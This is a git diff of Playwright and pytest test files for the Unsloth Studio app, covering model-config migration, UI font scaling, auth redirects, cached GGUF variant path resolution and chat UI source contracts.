+            page, "() => localStorage.getItem('unsloth_model_configs_migrated')"
+        )
+        if flag_first != "1":
+            soft_fail(f"migration flag not set after migrating (got {flag_first!r})")
+        shoot("09-after-migration")
+        close_picker()
+
+        # Idempotency: a second reload with a DIFFERENT legacy entry must not re-run
+        # the migration (the persistent flag blocks it), so the new key must not leak
+        # in, nothing duplicates, and the migrated value is untouched.
+        if migrated_ctx:
+            probe_key = "unsloth/__idem_probe__::Q4_K_M"
+            robust_evaluate(
+                page,
+                "(seed) => {"
+                "  localStorage.setItem('unsloth_load_settings', JSON.stringify(seed));"
+                "  return true;"
+                "}",
+                arg = {probe_key: {"contextLength": DISTINCT_CTX + 2048, "tensorParallel": True}},
+            )
+            page.reload()
+            composer.wait_for(state = "visible", timeout = 60_000)
+            popover = open_picker()
+            open_config(popover, MODEL_HINT)
+            page.wait_for_timeout(800)
+            cfg_second = read_configs()
+            keys_first = set(cfg_first.keys())
+            keys_second = set(cfg_second.keys())
+            new_keys = keys_second - keys_first
+            still_has_ctx = any(
+                e.get("customContextLength") == DISTINCT_CTX for e in config_entries(cfg_second)
+            )
+            if new_keys:
+                soft_fail(
+                    "legacy migration re-ran on a second reload (persistent flag "
+                    f"ignored): new keys {sorted(new_keys)}"
+                )
+            elif keys_second != keys_first:
+                soft_fail(
+                    "legacy migration dropped entries on a second reload: "
+                    f"{sorted(keys_first)} -> {sorted(keys_second)}"
+                )
+            elif not still_has_ctx:
+                soft_fail("legacy migration clobbered the migrated context on a second reload")
+            else:
+                info(
+                    "OK migration idempotent: second reload did not re-migrate, duplicate, or clobber"
+                )
+            shoot("10-after-second-reload")
+            close_picker()
+    except Exception as e:
+        soft_fail(f"migration idempotency check errored: {e}")
+
+    # ─────────────────────────────────────────────────────
+    if page_errors:
+        fail(f"page errors during run: {page_errors[:3]!r}")
+
+    browser.close()
+
+if _failed:
+    print(f"[ui-modelcfg] RESULT: FAIL ({len(_failed)} issue(s))", flush = True)
+    for m in _failed:
+        print(f"[ui-modelcfg]   - {m}", flush = True)
+    sys.exit(1)
+print("[ui-modelcfg] RESULT: PASS", flush = True)
+sys.exit(0)
diff --git a/tests/studio/playwright_ui_font_scale.py b/tests/studio/playwright_ui_font_scale.py
new file mode 100644
index 0000000000..89c7894929
--- /dev/null
+++ b/tests/studio/playwright_ui_font_scale.py
@@ -0,0 +1,213 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""UI font size scaling regression (Settings > Appearance).
+
+Drives the real appearance controls and asserts the typography-scale
+contract: text and line heights scale by size/16, the root font size and
+layout geometry never move, an explicit Code font size stays fixed, and an
+overflowing Radix select scrolls its viewport by keyboard and wheel.
+
+Runs against an already-booted, already-bootstrapped Unsloth:
+    BASE_URL=http://127.0.0.1:18894 STUDIO_PW=... python tests/studio/playwright_ui_font_scale.py
+"""
+
+import os
+import sys
+from pathlib import Path
+
+from playwright.sync_api import sync_playwright
+
+sys.path.insert(0, str(Path(__file__).resolve().parent))
+from _playwright_robust import wait_for_health  # noqa: E402
+
+BASE = os.environ["BASE_URL"]
+PW = os.environ["STUDIO_PW"]
+ART = Path(os.environ.get("PW_ART_DIR", "logs/playwright_fontscale"))
+ART.mkdir(parents = True, exist_ok = True)
+
+SIZES = (12, 20)
+DEFAULT = 16
+
+
+def step(s):
+    print(f"[font-scale] STEP {s}", flush = True)
+
+
+def fail(m):
+    raise AssertionError(f"[font-scale] FAIL: {m}")
+
+
+def near(
+    a,
+    b,
+    tol = 0.35,
+):
+    return a is not None and b is not None and abs(a - b) <= tol
+
+
+MEASURE_JS = """
+() => {
+  const fs = (el) => (el ? parseFloat(getComputedStyle(el).fontSize) : null);
+  const lh = (el) => (el ? parseFloat(getComputedStyle(el).lineHeight) : null);
+  const byText = (txt) =>
+    [...document.querySelectorAll("span, h2, label, p")].find(
+      (e) => e.textContent.trim() === txt,
+    );
+  const nav = byText("New chat");
+  const sidebar =
+    document.querySelector("[data-slot='sidebar-container']") ??
+    document.querySelector("aside") ??
+    document.querySelector("nav");
+  return {
+    root: parseFloat(getComputedStyle(document.documentElement).fontSize),
+    uiAttr: document.documentElement.getAttribute("data-ui-font-size"),
+    navFont: fs(nav),
+    navLine: lh(nav),
+    sidebarW: sidebar ? sidebar.getBoundingClientRect().width : null,
+  };
+}
+"""
+
+
+def measure(page):
+    return page.evaluate(MEASURE_JS)
+
+
+def set_input(page, label, value):
+    field = page.locator(f"input[aria-label='{label}']")
+    field.scroll_into_view_if_needed()
+    field.fill(str(value))
+    page.keyboard.press("Enter")
+    page.wait_for_timeout(600)
+
+
+def open_appearance(page):
+    page.keyboard.press("Control+,")
+    page.wait_for_timeout(700)
+    if page.get_by_role("dialog").count() == 0:
+        page.keyboard.press("Meta+,")
+        page.wait_for_timeout(700)
+    if page.get_by_role("dialog").count() == 0:
+        fail("settings dialog did not open")
+    page.get_by_role("dialog").get_by_role("button").filter(has_text = "Appearance").first.click()
+    page.wait_for_timeout(600)
+
+
+def main():
+    wait_for_health(BASE)
+    with sync_playwright() as p:
+        browser = p.chromium.launch()
+        page = browser.new_page(viewport = {"width": 1440, "height": 900})
+        page.goto(BASE, wait_until = "networkidle")
+        pw_field = page.locator("input[type='password']")
+        if pw_field.count():
+            pw_field.first.fill(PW)
+            page.keyboard.press("Enter")
+            page.wait_for_load_state("networkidle")
+            page.wait_for_timeout(1500)
+
+        step("baseline at the default size")
+        open_appearance(page)
+        set_input(page, "UI font size", DEFAULT)
+        base = measure(page)
+        if base["root"] != 16:
+            fail(f"root font size not 16 at default: {base['root']}")
+        if base["navFont"] is None or base["sidebarW"] is None:
+            fail(f"baseline samples missing: {base}")
+
+        for size in SIZES:
+            step(f"UI font size {size}")
+            set_input(page, "UI font size", size)
+            m = measure(page)
+            ratio = size / DEFAULT
+            if m["root"] != 16:
+                fail(f"root font size moved at {size}: {m['root']}")
+            if m["uiAttr"] != str(size):
+                fail(f"data-ui-font-size wrong at {size}: {m['uiAttr']}")
+            if not near(m["navFont"], base["navFont"] * ratio):
+                fail(f"nav font at {size}: {base['navFont']} -> {m['navFont']}")
+            if not near(m["navLine"], base["navLine"] * ratio):
+                fail(f"nav line-height at {size}: {base['navLine']} -> {m['navLine']}")
+            if not near(m["sidebarW"], base["sidebarW"], 0.75):
+                fail(f"sidebar width moved at {size}: {base['sidebarW']} -> {m['sidebarW']}")
+            page.screenshot(path = str(ART / f"scale-{size}.png"))
+
+        step("explicit Code font size stays fixed under UI 20")
+        set_input(page, "Code font size", 13)
+        res = page.evaluate(
+            """
+            () => {
+              const pre = document.createElement("pre");
+              pre.textContent = "sample";
+              document.body.appendChild(pre);
+              const size = getComputedStyle(pre).fontSize;
+              pre.remove();
+              return size;
+            }
+            """
+        )
+        if res != "13px":
+            fail(f"explicit code font size scaled: {res}")
+        code_field = page.locator("input[aria-label='Code font size']")
+        code_field.fill("")
+        page.keyboard.press("Enter")
+        page.wait_for_timeout(400)
+
+        step("overflowing select scrolls its Radix viewport")
+        page.get_by_role("dialog").get_by_role("button").filter(has_text = "Voice").first.click()
+        page.wait_for_timeout(600)
+        page.set_viewport_size({"width": 1440, "height": 480})
+        page.locator("[aria-label='Dictation language']").click()
+        page.wait_for_timeout(700)
+        state = page.evaluate(
+            """
+            () => {
+              const vp = document.querySelector("[data-radix-select-viewport]");
+              return vp
+                ? { scrollable: vp.scrollHeight > vp.clientHeight, top: vp.scrollTop }
+                : null;
+            }
+            """
+        )
+        if not state or not state["scrollable"]:
+            fail(f"select viewport not scrollable: {state}")
+        for _ in range(6):
+            page.keyboard.press("ArrowDown")
+            page.wait_for_timeout(100)
+        kb_top = page.evaluate(
+            "() => document.querySelector('[data-radix-select-viewport]').scrollTop"
+        )
+        if not kb_top > 0:
+            fail(f"keyboard did not scroll the select viewport: {kb_top}")
+        vp_box = page.locator("[data-radix-select-viewport]").bounding_box()
+        page.mouse.move(vp_box["x"] + vp_box["width"] / 2, vp_box["y"] + 40)
+        page.mouse.wheel(0, -400)
+        page.wait_for_timeout(300)
+        wheel_top = page.evaluate(
+            "() => document.querySelector('[data-radix-select-viewport]').scrollTop"
+        )
+        if not wheel_top < kb_top:
+            fail(f"wheel did not scroll the select viewport: {kb_top} -> {wheel_top}")
+        page.keyboard.press("Escape")
+        page.set_viewport_size({"width": 1440, "height": 900})
+        page.wait_for_timeout(400)
+
+        step("default restores exactly")
+        page.get_by_role("dialog").get_by_role("button").filter(has_text = "Appearance").first.click()
+        page.wait_for_timeout(500)
+        set_input(page, "UI font size", DEFAULT)
+        final = measure(page)
+        for key in ("root", "navFont", "navLine", "sidebarW"):
+            if not near(final[key], base[key], 0.35):
+                fail(f"default drifted for {key}: {base[key]} -> {final[key]}")
+        if final["uiAttr"] is not None:
+            fail(f"data-ui-font-size present at default: {final['uiAttr']}")
+
+        page.screenshot(path = str(ART / "restored-default.png"))
+        browser.close()
+    print("[font-scale] PASS", flush = True)
+
+
+if __name__ == "__main__":
+    main()
diff --git a/tests/studio/run_real_mlx_smoke.py b/tests/studio/run_real_mlx_smoke.py
index 275fe7ac57..63bc0dbba9 100644
--- a/tests/studio/run_real_mlx_smoke.py
+++ b/tests/studio/run_real_mlx_smoke.py
@@ -106,7 +106,7 @@ def _compute_loss_and_grad_norm(model, tokenizer, text: str) -> tuple[float, flo
     import mlx.nn as nn
     from mlx.utils import tree_flatten
 
-    # Match Studio's text dataset path: no EOS appended behind the user's back.
+    # Match Unsloth's text dataset path: no EOS appended behind the user's back.
     ids = list(tokenizer.encode(text))
     if len(ids) < 2:
         raise RuntimeError(f"text too short to compute loss: {len(ids)} tokens")
diff --git a/tests/studio/studio_api_smoke.py b/tests/studio/studio_api_smoke.py
index 845a9ed021..d30bd11dca 100644
--- a/tests/studio/studio_api_smoke.py
+++ b/tests/studio/studio_api_smoke.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""End-to-end Studio API & Auth HTTP integration tests against an externally-booted Studio."""
+"""End-to-end Unsloth API & Auth HTTP integration tests against an externally-booted Unsloth."""
 
 import json
 import os
@@ -571,7 +571,7 @@ EXPECTED_AUTH_ENDPOINTS = [
 for method, path in EXPECTED_AUTH_ENDPOINTS:
     if (method, path) in PUBLIC:
         continue
-    # Don't actually shut Studio down: an unauthenticated call must 401/403 before the trigger fires.
+    # Don't actually shut Unsloth down: an unauthenticated call must 401/403 before the trigger fires.
     if path == "/api/shutdown":
         code, _ = http(method, path)
         if code in (401, 403):
@@ -610,6 +610,6 @@ if _failed:
     sys.exit(1)
 _emit(
     "",
-    "PASS all Studio API & Auth assertions"
+    "PASS all Unsloth API & Auth assertions"
     + (f" ({len(_warned)} audit findings logged)" if _warned else ""),
 )
diff --git a/tests/studio/test_auth_form_input_count.py b/tests/studio/test_auth_form_input_count.py
index dd582d17d1..75e6cfd1fb 100644
--- a/tests/studio/test_auth_form_input_count.py
+++ b/tests/studio/test_auth_form_input_count.py
@@ -1,22 +1,27 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 
-"""Pin the auth-form input-count contract on the change-password page.
+"""Fast source and runtime contracts for Unsloth's frontend authentication flows.
 
 PR #5490 added a third "Current password" input, regressing first-boot UX to
 three inputs; PR #5545 restores two by rendering it only when BOOTSTRAP is absent.
-These tests inspect the source directly (no Studio/browser/network); runtime is
-covered by tests/studio/playwright_chat_ui.py."""
+Issue #7114 covers auth redirects and the persisted System monitor; its browser
+lifecycle remains covered by tests/studio/playwright_chat_ui.py."""
 
 from __future__ import annotations
 
 import re
+import shutil
+import subprocess
+import textwrap
 from pathlib import Path
 
-AUTH_FORM = (
-    Path(__file__).resolve().parents[2]
-    / "studio/frontend/src/features/auth/components/auth-form.tsx"
-)
+import pytest
+
+REPO = Path(__file__).resolve().parents[2]
+FRONTEND = REPO / "studio/frontend/src"
+AUTH_FORM = FRONTEND / "features/auth/components/auth-form.tsx"
+AUTH_API = FRONTEND / "features/auth/api.ts"
 
 CONDITIONAL_OPENER = "{!hasBootstrapPassword && ("
 
@@ -161,3 +166,110 @@ def test_login_jsx_declares_exactly_one_password_input():
     assert len(pw_ids) == 1, (
         f"login JSX must declare exactly one password-typed input; " f"found {pw_ids!r}"
     )
+
+
+def test_auth_flow_routes_do_not_mount_global_settings():
+    root = (FRONTEND / "app/routes/__root.tsx").read_text()
+    assert "{!isAuthFlowRoute && <SettingsDialog />}" in root
+    assert "useSettingsDialogStore.getState().closeDialog();" in root
+    assert "if (isAuthFlowRoute) return;" in root
+    for route in ("login", "change-password", "onboarding"):
+        assert "isAuthFlow: true" in (FRONTEND / f"app/routes/{route}.tsx").read_text()
+
+
+def test_auth_redirect_targets_are_idempotent_and_concurrent(tmp_path: Path):
+    if shutil.which("node") is None:
+        pytest.skip("node not available")
+    probe = subprocess.run(
+        ["node", "--experimental-strip-types", "--version"],
+        capture_output = True,
+        text = True,
+        timeout = 5,
+    )
+    if probe.returncode != 0:
+        pytest.skip("node --experimental-strip-types not available")
+
+    source = (
+        AUTH_API.read_text()
+        .replace('from "@/lib/api-base"', 'from "./stubs.mjs"')
+        .replace('from "./session"', 'from "./stubs.mjs"')
+    )
+    (tmp_path / "api.ts").write_text(source)
+    (tmp_path / "stubs.mjs").write_text(
+        textwrap.dedent("""
+            let access = null, refresh = null, passwordChange = false;
+            export const apiUrl = (path) => path;
+            export const isTauri = false;
+            export const reset = (a = null, r = null) => { access = a; refresh = r; passwordChange = false; };
+            export const clearAuthTokens = () => { access = null; refresh = null; };
+            export const getAuthToken = () => access;
+            export const getRefreshToken = () => refresh;
+            export const mustChangePassword = () => passwordChange;
+            export const setMustChangePassword = (value) => { passwordChange = value; };
+            export const storeAuthTokens = (a, r) => { access = a; refresh = r; };
+        """)
+    )
+    script = textwrap.dedent("""
+        import assert from "node:assert/strict";
+        import { reset } from "./stubs.mjs";
+        const response = (status, value) => new Response(
+          value && JSON.stringify(value), { status }
+        );
+        const settle = () => new Promise((resolve) => setImmediate(resolve));
+        const load = (name) => import(`./api.ts?${name}`);
+        const locationAt = (pathname) => {
+          const assigned = [];
+          globalThis.window = { location: { pathname,
+            set href(value) { assigned.push(value); this.pathname = value; }
+          }};
+          return assigned;
+        };
+        async function redirectCase(path, requiresChange, name, repeats = 1) {
+          reset();
+          const assigned = locationAt(path);
+          let statusCalls = 0;
+          globalThis.fetch = async (input) => {
+            if (input === "/api/auth/status") {
+              statusCalls += 1;
+              return response(200, { requires_password_change: requiresChange });
+            }
+            return response(401);
+          };
+          const { authFetch } = await load(name);
+          for (let i = 0; i < repeats; i += 1) {
+            await authFetch("/api/system");
+            await settle();
+          }
+          return { assigned, statusCalls };
+        }
+        const login = await redirectCase("/login", false, "login", 2);
+        assert.deepEqual(login, { assigned: [], statusCalls: 2 });
+        const change = await redirectCase("/chat", true, "change");
+        assert.deepEqual(change.assigned, ["/change-password"]);
+
+        reset("expired", "refresh");
+        const assigned = locationAt("/chat");
+        const calls = { refresh: 0, status: 0 };
+        globalThis.fetch = async (input) => {
+          if (input === "/api/auth/refresh") calls.refresh += 1;
+          if (input === "/api/auth/status") {
+            calls.status += 1;
+            return response(200, { requires_password_change: false });
+          }
+          return response(401);
+        };
+        const { authFetch } = await load("concurrent");
+        await Promise.all([authFetch("/api/system"), authFetch("/api/system")]);
+        await settle();
+        assert.deepEqual(calls, { refresh: 1, status: 1 });
+        assert.deepEqual(assigned, ["/login"]);
+    """)
+    result = subprocess.run(
+        ["node", "--experimental-strip-types", "--no-warnings", "--input-type=module"],
+        input = script,
+        cwd = tmp_path,
+        capture_output = True,
+        text = True,
+        timeout = 30,
+    )
+    assert result.returncode == 0, f"stderr: {result.stderr}\nstdout: {result.stdout}"
diff --git a/tests/studio/test_cached_model_path_selection.py b/tests/studio/test_cached_model_path_selection.py
new file mode 100644
index 0000000000..2b6b9c7829
--- /dev/null
+++ b/tests/studio/test_cached_model_path_selection.py
@@ -0,0 +1,241 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Variant-file selection guards for the cached-model-path endpoint.
+
+The Copy path / Reveal endpoint must resolve a quant label to the same file
+the variant menus offer: MTP drafters, mmproj vision adapters, and big-endian
+builds are excluded, and directory layouts (``BF16/model-00001-of-....gguf``)
+resolve their label from the snapshot-relative path, not the basename.
+"""
+
+from __future__ import annotations
+
+import os
+import sys
+from pathlib import Path
+from types import SimpleNamespace
+
+import pytest
+
+
+def _find_repo_root() -> Path | None:
+    env = os.environ.get("UNSLOTH_REPO_ROOT")
+    if env:
+        p = Path(env).resolve()
+        if (p / "studio" / "backend").is_dir():
+            return p
+    here = Path(__file__).resolve()
+    for parent in (here, *here.parents):
+        if (parent / "studio" / "backend").is_dir():
+            return parent
+    return None
+
+
+_REPO_ROOT = _find_repo_root()
+if _REPO_ROOT is None:
+    pytest.skip(
+        "Could not locate studio/backend. Set UNSLOTH_REPO_ROOT or run from "
+        "the repository checkout.",
+        allow_module_level = True,
+    )
+
+_STUDIO_BACKEND = _REPO_ROOT / "studio" / "backend"
+if str(_STUDIO_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_STUDIO_BACKEND))
+
+pytest.importorskip("fastapi")
+pytest.importorskip("huggingface_hub")
+
+try:
+    from routes import models as routes_models
+except Exception as exc:
+    pytest.skip(f"studio backend import unavailable: {exc}", allow_module_level = True)
+
+from fastapi import HTTPException
+
+
+def test_plain_quant_label_resolves():
+    assert routes_models._main_variant_gguf_label("Model-Q8_0.gguf") == "Q8_0"
+
+
+def test_mtp_drafter_in_subdir_is_excluded():
+    assert routes_models._main_variant_gguf_label("MTP/Model-Q8_0-MTP.gguf") is None
+
+
+def test_mtp_drafter_root_prefix_is_excluded():
+    assert routes_models._main_variant_gguf_label("mtp-Model-Q8_0.gguf") is None
+
+
+def test_mmproj_adapter_is_excluded():
+    assert routes_models._main_variant_gguf_label("mmproj-Model-F16.gguf") is None
+
+
+def test_directory_layout_quant_resolves_from_parent_dir():
+    assert routes_models._main_variant_gguf_label("BF16/Model-00001-of-00002.gguf") == "BF16"
+
+
+def test_big_endian_build_is_excluded():
+    assert routes_models._main_variant_gguf_label("Model-Q8_0-BE.gguf") is None
+
+
+def test_non_gguf_file_is_excluded():
+    assert routes_models._main_variant_gguf_label("config.json") is None
+
+
+def test_normalized_quant_label_ignores_separators():
+    assert routes_models._normalized_quant_label("UD-Q4_K_XL") == "udq4kxl"
+    assert routes_models._normalized_quant_label("Q8-0") == routes_models._normalized_quant_label(
+        "Q8_0"
+    )
+
+
+def _revision(
+    snapshot: Path,
+    last_modified: float,
+    names: list[str],
+    size_on_disk: int = 4,
+) -> SimpleNamespace:
+    files = []
+    for name in names:
+        path = snapshot / name
+        path.parent.mkdir(parents = True, exist_ok = True)
+        path.write_bytes(b"x" * size_on_disk)
+        files.append(
+            SimpleNamespace(
+                file_name = name,
+                file_path = path,
+                blob_path = path,
+                size_on_disk = size_on_disk,
+            )
+        )
+    return SimpleNamespace(snapshot_path = snapshot, last_modified = last_modified, files = files)
+
+
+def _patch_cache(monkeypatch, tmp_path: Path, revisions: list[SimpleNamespace]) -> None:
+    repo = SimpleNamespace(
+        repo_id = "Org/Repo",
+        repo_type = "model",
+        repo_path = tmp_path,
+        revisions = revisions,
+    )
+    monkeypatch.setattr(
+        routes_models, "_all_hf_cache_scans", lambda: [SimpleNamespace(repos = [repo])]
+    )
+
+
+def _repo(root: Path, revisions: list[SimpleNamespace]) -> SimpleNamespace:
+    return SimpleNamespace(
+        repo_id = "Org/Repo",
+        repo_type = "model",
+        repo_path = root,
+        revisions = revisions,
+    )
+
+
+def _patch_caches(monkeypatch, repos: list[SimpleNamespace]) -> None:
+    monkeypatch.setattr(
+        routes_models,
+        "_all_hf_cache_scans",
+        lambda: [SimpleNamespace(repos = [repo]) for repo in repos],
+    )
+
+
+@pytest.mark.parametrize("newest_first", [True, False])
+def test_variant_resolves_from_newest_revision(monkeypatch, tmp_path, newest_first):
+    old = _revision(tmp_path / "snapshots" / "aaa", 1_000.0, ["Model-Q4_K_M.gguf"])
+    new = _revision(tmp_path / "snapshots" / "bbb", 2_000.0, ["Model-Q4_K_M.gguf"])
+    _patch_cache(monkeypatch, tmp_path, [new, old] if newest_first else [old, new])
+    resolved = routes_models._resolve_cached_model_path("Org/Repo", "Q4_K_M")
+    assert resolved == tmp_path / "snapshots" / "bbb" / "Model-Q4_K_M.gguf"
+
+
+def test_sharded_variant_resolves_first_split(monkeypatch, tmp_path):
+    rev = _revision(
+        tmp_path / "snapshots" / "aaa",
+        1_000.0,
+        ["Model-Q4_K_M-00002-of-00002.gguf", "Model-Q4_K_M-00001-of-00002.gguf"],
+    )
+    _patch_cache(monkeypatch, tmp_path, [rev])
+    resolved = routes_models._resolve_cached_model_path("Org/Repo", "Q4_K_M")
+    assert resolved.name == "Model-Q4_K_M-00001-of-00002.gguf"
+
+
+def test_variant_only_in_older_revision_resolves(monkeypatch, tmp_path):
+    old = _revision(tmp_path / "snapshots" / "aaa", 1_000.0, ["Model-Q4_K_M.gguf"])
+    new = _revision(tmp_path / "snapshots" / "bbb", 2_000.0, ["Model-Q8_0.gguf"])
+    _patch_cache(monkeypatch, tmp_path, [new, old])
+    resolved = routes_models._resolve_cached_model_path("Org/Repo", "Q4_K_M")
+    assert resolved == tmp_path / "snapshots" / "aaa" / "Model-Q4_K_M.gguf"
+
+
+def test_missing_newest_file_falls_back_to_older_revision(monkeypatch, tmp_path):
+    old = _revision(tmp_path / "snapshots" / "aaa", 1_000.0, ["Model-Q4_K_M.gguf"])
+    new_snapshot = tmp_path / "snapshots" / "bbb"
+    new_snapshot.mkdir(parents = True)
+    new = SimpleNamespace(
+        snapshot_path = new_snapshot,
+        last_modified = 2_000.0,
+        files = [
+            SimpleNamespace(
+                file_name = "Model-Q4_K_M.gguf",
+                file_path = new_snapshot / "Model-Q4_K_M.gguf",
+            )
+        ],
+    )
+    _patch_cache(monkeypatch, tmp_path, [new, old])
+    resolved = routes_models._resolve_cached_model_path("Org/Repo", "Q4_K_M")
+    assert resolved == tmp_path / "snapshots" / "aaa" / "Model-Q4_K_M.gguf"
+
+
+def test_variant_resolves_across_all_cache_roots(monkeypatch, tmp_path):
+    first_root = tmp_path / "active"
+    second_root = tmp_path / "default"
+    old = _revision(
+        first_root / "snapshots" / "aaa",
+        1_000.0,
+        ["Model-Q4_K_M.gguf"],
+    )
+    new = _revision(
+        second_root / "snapshots" / "bbb",
+        2_000.0,
+        ["Model-Q4_K_M.gguf"],
+    )
+    _patch_caches(
+        monkeypatch,
+        [_repo(first_root, [old]), _repo(second_root, [new])],
+    )
+    resolved = routes_models._resolve_cached_model_path("Org/Repo", "Q4_K_M")
+    assert resolved == second_root / "snapshots" / "bbb" / "Model-Q4_K_M.gguf"
+
+
+def test_repo_path_matches_largest_visible_cache_entry(monkeypatch, tmp_path):
+    first_root = tmp_path / "active"
+    second_root = tmp_path / "default"
+    small = _revision(
+        first_root / "snapshots" / "aaa",
+        2_000.0,
+        ["Model-Q8_0.gguf"],
+        size_on_disk = 4,
+    )
+    large = _revision(
+        second_root / "snapshots" / "bbb",
+        1_000.0,
+        ["Model-Q8_0.gguf"],
+        size_on_disk = 8,
+    )
+    _patch_caches(
+        monkeypatch,
+        [_repo(first_root, [small]), _repo(second_root, [large])],
+    )
+    resolved = routes_models._resolve_cached_model_path("Org/Repo", None)
+    assert resolved == second_root / "snapshots" / "bbb"
+
+
+def test_unknown_variant_raises_404(monkeypatch, tmp_path):
+    rev = _revision(tmp_path / "snapshots" / "aaa", 1_000.0, ["Model-Q8_0.gguf"])
+    _patch_cache(monkeypatch, tmp_path, [rev])
+    with pytest.raises(HTTPException) as excinfo:
+        routes_models._resolve_cached_model_path("Org/Repo", "Q4_K_M")
+    assert excinfo.value.status_code == 404
+    assert "Q4_K_M" in excinfo.value.detail
diff --git a/tests/studio/test_chat_response_details_ui_contract.py b/tests/studio/test_chat_response_details_ui_contract.py
new file mode 100644
index 0000000000..8714951883
--- /dev/null
+++ b/tests/studio/test_chat_response_details_ui_contract.py
@@ -0,0 +1,103 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Static contract for the chat response-details action and metadata."""
+
+from __future__ import annotations
+
+import re
+from pathlib import Path
+
+REPO = Path(__file__).resolve().parents[2]
+THREAD_TSX = REPO / "studio/frontend/src/components/assistant-ui/thread.tsx"
+DETAILS_TSX = (
+    REPO / "studio/frontend/src/components/assistant-ui/message-response-details-sheet.tsx"
+)
+REASONING_TSX = REPO / "studio/frontend/src/components/assistant-ui/reasoning.tsx"
+ADAPTER_TS = REPO / "studio/frontend/src/features/chat/api/chat-adapter.ts"
+CHAT_PREFS_TS = REPO / "studio/frontend/src/features/chat/stores/chat-preferences-store.ts"
+CHAT_TAB_TSX = REPO / "studio/frontend/src/features/settings/tabs/chat-tab.tsx"
+
+
+def test_assistant_more_menu_exposes_response_details_action():
+    src = THREAD_TSX.read_text()
+    assert "MessageResponseDetailsSheet" in src
+    assert "See response details" in src
+    assert "setDetailsOpen(true)" in src
+
+
+def test_response_details_sheet_uses_unsloth_sheet_and_key_sections():
+    src = DETAILS_TSX.read_text()
+    assert "SheetContent" in src
+    assert "Response details" in src
+    assert "MessageResponseModelBadge" in src
+    assert "showResponseModel" in src
+    assert "ChipIcon" not in src
+    assert "s.params.checkpoint" not in src
+    assert "Not recorded" in src
+    assert "min-w-0 break-words font-heading" in src
+    assert "toolCallsFromContent(message.content)" in src
+    assert 'label="Called"' in src
+    for section in ["Response", "Tokens", "Timing", "Tools"]:
+        assert f'title="{section}"' in src
+    for field in ["Model", "Provider", "Total", "Cache hits", "Enabled", "Called"]:
+        assert f'label="{field}"' in src
+
+
+def test_response_model_badge_is_user_configurable_and_rendered_once_per_message():
+    prefs_src = CHAT_PREFS_TS.read_text()
+    chat_tab_src = CHAT_TAB_TSX.read_text()
+    thread_src = THREAD_TSX.read_text()
+    reasoning_src = REASONING_TSX.read_text()
+
+    assert "showResponseModel: boolean" in prefs_src
+    assert "showResponseModel: false" in prefs_src
+    assert "showResponseModel: saved?.showResponseModel ?? false" in prefs_src
+    assert "Show response model" in chat_tab_src
+    assert "setShowResponseModel" in chat_tab_src
+    details_src = DETAILS_TSX.read_text()
+    assert (
+        "aui-response-model-badge pointer-events-none relative inline-flex min-h-5" in details_src
+    )
+    assert "cursor-text select-text" in details_src
+    assert "leading-5" in details_src
+    assert "after:top-full after:h-1" in details_src
+    assert "hover:opacity-100" in details_src
+    assert "group-hover/assistant-message:opacity-100" in details_src
+    # Pointer events gated behind hover/focus so the hidden badge stays inert when idle.
+    assert "group-hover/assistant-message:pointer-events-auto" in details_src
+    assert "group-focus-within/assistant-message:pointer-events-auto" in details_src
+    assert thread_src.count("<MessageResponseModelBadge") == 1
+    assert "hasReasoningParts" not in thread_src
+    assert "group/assistant-message aui-assistant-message-root" in thread_src
+    assert "pointer-events-none relative h-0" in thread_src
+    assert "MessageResponseModelBadge" not in reasoning_src
+    assert 'className="min-w-0 flex-1"' in reasoning_src
+
+
+def test_response_details_metadata_is_persisted_without_backend_schema_change():
+    src = ADAPTER_TS.read_text()
+    assert "interface ResponseDetailsMetadata" in src
+    assert "buildResponseDetails" in src
+    assert "responseDetails: buildResponseDetails(finishedAt)" in src
+    assert "toolCalls: Array.from(" in src
+    assert "!isExternalRequest && supportsTools && toolsEnabled" in src
+    assert "!isExternalRequest && supportsTools && codeToolsEnabled" in src
+    assert re.search(r"selectedModelSummary\?\.name\s*\|\|\s*responseModelId", src)
+    assert "providerName" in src
+    assert "cancelId" in src
+    metadata_block = src[
+        src.find("interface ResponseDetailsMetadata") : src.find("type RunMessages")
+    ]
+    builder_block = src[
+        src.find("const buildResponseDetails") : src.find("const externalCapabilities")
+    ]
+    for forbidden in [
+        "encrypted_api_key",
+        "externalApiKey",
+        "apiKey",
+        "providerKey",
+        "secret",
+    ]:
+        assert forbidden not in metadata_block
+        assert forbidden not in builder_block
diff --git a/tests/studio/test_chat_thinking_compact_layout.py b/tests/studio/test_chat_thinking_compact_layout.py
new file mode 100644
index 0000000000..23b6797782
--- /dev/null
+++ b/tests/studio/test_chat_thinking_compact_layout.py
@@ -0,0 +1,33 @@
+"""Responsive contract for the composer Thinking control."""
+
+from pathlib import Path
+
+
+REPO = Path(__file__).resolve().parents[2]
+THREAD_TSX = REPO / "studio/frontend/src/components/assistant-ui/thread.tsx"
+SHARED_TSX = REPO / "studio/frontend/src/features/chat/shared-composer.tsx"
+INDEX_CSS = REPO / "studio/frontend/src/index.css"
+
+
+def test_thinking_control_has_compact_hooks_in_both_composers():
+    for path in (THREAD_TSX, SHARED_TSX):
+        source = path.read_text(encoding = "utf-8")
+        assert 'className="unsloth-thinking-label"' in source
+        assert "unsloth-thinking-caret size-[15px]" in source
+        assert 'data-pill-label="Thinking settings"' in source
+
+
+def test_narrow_composer_collapses_thinking_to_the_bulb():
+    css = INDEX_CSS.read_text(encoding = "utf-8")
+
+    # Query the composer width instead of the full viewport.
+    assert css.count("container-type: inline-size;") >= 2
+    compact_start = css.index("@container (max-width: 36rem)")
+    compact_end = css.index("/* Smaller tick", compact_start)
+    compact_rule = css[compact_start:compact_end]
+
+    assert ".unsloth-thinking-pill" in compact_rule
+    assert "@apply size-8" in compact_rule
+    assert ".unsloth-thinking-label" in compact_rule
